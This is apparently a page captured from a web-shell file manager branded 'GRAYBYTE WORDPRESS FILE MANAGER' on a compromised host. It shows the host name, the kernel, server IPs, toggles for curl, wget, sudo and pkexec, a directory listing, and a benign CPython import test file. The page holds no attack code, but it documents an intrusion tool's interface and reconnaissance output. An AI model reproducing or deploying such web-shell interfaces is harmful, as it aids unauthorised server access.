✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python39/lib64/python3.9/test/test_importlib//test_pkg_import.py
import os
import sys
import shutil
import string
import random
import tempfile
import unittest

from importlib.util import cache_from_source
from test.support import create_empty_file

class TestImport(unittest.TestCase):

    def __init__(self, *args, **kw):
        self.package_name = 'PACKAGE_'
        while self.package_name in sys.modules:
            self.package_name += random.choice(string.ascii_letters)
        self.module_name = self.package_name + '.foo'
        unittest.TestCase.__init__(self, *args, **kw)

    def remove_modules(self):
        for module_name in (self.package_name, self.module_name):
            if module_name in sys.modules:
                del sys.modules[module_name]

    def setUp(self):
        self.test_dir = tempfile.mkdtemp()
        sys.path.append(self.test_dir)
        self.package_dir = os.path.join(self.test_dir,
                                        self.package_name)
        os.mkdir(self.package_dir)
        create_empty_file(os.path.join(self.package_dir, '__init__.py'))
        self.module_path = os.path.join(self.package_dir, 'foo.py')

    def tearDown(self):
        shutil.rmtree(self.test_dir)
        self.assertNotEqual(sys.path.count(self.test_dir), 0)
        sys.path.remove(self.test_dir)
        self.remove_modules()

    def rewrite_file(self, contents):
        compiled_path = cache_from_source(self.module_path)
        if os.path.exists(compiled_path):
            os.remove(compiled_path)
        with open(self.module_path, 'w') as f:
            f.write(contents)

    def test_package_import__semantics(self):

        # Generate a couple of broken modules to try importing.

        # ...try loading the module when there's a SyntaxError
        self.rewrite_file('for')
        try: __import__(self.module_name)
        except SyntaxError: pass
        else: raise RuntimeError('Failed to induce SyntaxError') # self.fail()?
        self.assertNotIn(self.module_name, sys.modules)
        self.assertFalse(hasattr(sys.modules[self.package_name], 'foo'))

        # ...make up a variable name that isn't bound in __builtins__
        var = 'a'
        while var in dir(__builtins__):
            var += random.choice(string.ascii_letters)

        # ...make a module that just contains that
        self.rewrite_file(var)

        try: __import__(self.module_name)
        except NameError: pass
        else: raise RuntimeError('Failed to induce NameError.')

        # ...now  change  the module  so  that  the NameError  doesn't
        # happen
        self.rewrite_file('%s = 1' % var)
        module = __import__(self.module_name).foo
        self.assertEqual(getattr(module, var), 1)


if __name__ == "__main__":
    unittest.main()

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jul 2025 4.13 AM
root / linksafe
0755
__pycache__
--
22 Jul 2025 4.13 AM
root / linksafe
0755
builtin
--
22 Jul 2025 4.13 AM
root / linksafe
0755
data
--
22 Jul 2025 4.13 AM
root / linksafe
0755
data01
--
22 Jul 2025 4.13 AM
root / linksafe
0755
data02
--
22 Jul 2025 4.13 AM
root / linksafe
0755
data03
--
22 Jul 2025 4.13 AM
root / linksafe
0755
extension
--
22 Jul 2025 4.13 AM
root / linksafe
0755
frozen
--
22 Jul 2025 4.13 AM
root / linksafe
0755
import_
--
22 Jul 2025 4.13 AM
root / linksafe
0755
namespace_pkgs
--
22 Jul 2025 4.13 AM
root / linksafe
0755
partial
--
22 Jul 2025 4.13 AM
root / linksafe
0755
source
--
22 Jul 2025 4.13 AM
root / linksafe
0755
zipdata01
--
22 Jul 2025 4.13 AM
root / linksafe
0755
zipdata02
--
22 Jul 2025 4.13 AM
root / linksafe
0755
__init__.py
0.139 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
__main__.py
0.057 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
abc.py
2.219 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
fixtures.py
5.762 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
stubs.py
0.228 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_abc.py
33.461 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_api.py
18.362 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_files.py
0.976 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_lazy.py
4.813 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_locks.py
4.353 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_main.py
8.201 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_metadata_api.py
5.425 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_namespace_pkgs.py
11.958 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_open.py
2.199 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_path.py
1.221 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_pkg_import.py
2.665 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_read.py
1.985 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_resource.py
8.364 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_spec.py
30.385 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_threaded_import.py
9.434 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_util.py
34.671 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_windows.py
6.313 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
test_zip.py
2.471 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
threaded_import_hangers.py
1.449 KB
3 Jun 2025 6.47 PM
root / linksafe
0644
util.py
18.044 KB
3 Jun 2025 6.47 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF